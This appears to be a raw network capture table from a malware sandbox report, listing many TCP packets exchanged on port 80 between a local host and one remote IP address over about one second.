Oct 31, 2024 02:08:15.238385916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.238432884 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.238544941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.238560915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.238575935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.238615990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.238831997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.238847017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.238862038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.238883972 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.238924026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.274499893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.274534941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.274550915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.274569988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.274588108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.274619102 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.274699926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.274713039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.274768114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.278398991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.278413057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.278454065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.278564930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.278579950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.278626919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.318996906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.319015026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.319031000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.319071054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.326014042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.326029062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.326085091 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.326121092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.326133966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.326176882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.355278969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.355355024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.355354071 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.355407953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.355438948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.355462074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.355478048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.355494976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.355511904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.355515957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.355549097 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.355549097 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.355950117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.356009960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.356117964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.356132984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.356147051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.356188059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.391582966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.391597986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.391613960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.391629934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.391638041 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.391702890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.391705036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.391736984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.391787052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.395553112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.395569086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.395584106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.395611048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.395643950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.436229944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.436244965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.436259985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.436301947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.436337948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.436355114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.436388016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.443303108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.443337917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.443355083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.443357944 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.443409920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.472141027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.472157955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.472172976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.472213030 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.472265959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.472281933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.472315073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.472316980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.472332954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.472354889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.472358942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.472399950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.472951889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.472968102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.472989082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.473017931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.508275986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.508327007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.508347988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.508347988 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.508363008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.508394003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.512540102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.512556076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.512581110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.512590885 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.512597084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.512614012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.512619972 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.512665033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.552829981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.552880049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.552896023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.552911997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.552937031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.552968979 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.553081989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.553251982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.553288937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.560126066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.560142040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.560157061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.560193062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.589052916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.589081049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.589096069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.589112043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.589145899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.589157104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.589183092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.589196920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.589225054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.589507103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.589564085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.589580059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.589607000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.589637041 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.589883089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.589924097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.589970112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.589982986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.625432968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.625449896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.625463963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.625494003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.625561953 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.629400969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.629472971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.629487038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.629537106 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.629549026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.629564047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.629580975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.629614115 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.629647017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.669719934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.669755936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.669769049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.669784069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.669800043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.669816017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.669831038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.669882059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.669883013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.676892996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.676918983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.676934004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.676975012 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.677083015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.677098989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.677113056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.677139997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.677170992 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.705905914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.705931902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.705945015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.706007004 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.706012011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.706029892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.706044912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.706084013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.706084967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.706465006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.706481934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.706496954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.706525087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.706737995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.706787109 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.706794024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.742490053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.742533922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.742542982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.742549896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.742600918 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.746385098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.746432066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.746447086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.746486902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.746501923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.746516943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.746516943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.746558905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.746588945 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.786705017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.786721945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.786736965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.786811113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.786832094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.786847115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.786861897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.786891937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.786925077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.787149906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.787166119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.787180901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.787226915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.793732882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.793746948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.793785095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.793852091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.793867111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.793884039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.793900967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.793915033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.793915033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.823169947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.823194981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.823210001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.823226929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.823230028 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.823242903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.823266029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.823432922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.823465109 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.823497057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.823566914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.823568106 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.823580027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.823618889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.859558105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.859572887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.859587908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.859605074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.859657049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.859703064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.863266945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.863291979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.863334894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.863356113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.863401890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.863418102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.863435030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.863468885 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.863511086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.863806963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.863832951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.863847971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.863898993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.903676033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.903706074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.903721094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.903729916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.903789997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.903800964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.903815985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.903831959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.903870106 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.904134035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.904150963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.904165983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.904195070 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.904226065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.925276995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.925292969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.925307989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.925373077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.925476074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.925493956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.925563097 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.940169096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.940192938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.940215111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.940227032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.940232038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.940248966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.940280914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.940326929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.940459967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.941873074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.941950083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.976551056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.976571083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.976586103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.976622105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.980300903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.980355024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.980367899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.980402946 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.980442047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.980477095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.980493069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.980508089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.980530977 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.980817080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.980866909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.980874062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.980890036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.980931997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:15.980937004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.980952978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:15.980993032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.020904064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.020931959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.020946980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.020962954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.020993948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.021009922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.021013021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.021024942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.021039963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.021044970 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.021069050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.021100044 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.042443037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.042468071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.042483091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.042496920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.042511940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.042517900 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.042526960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.042572021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.042601109 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.057111025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.057126999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.057142973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.057157040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.057183981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.057233095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.057277918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.057665110 CET	80	49712	185.215.113.16	192.168.2.5
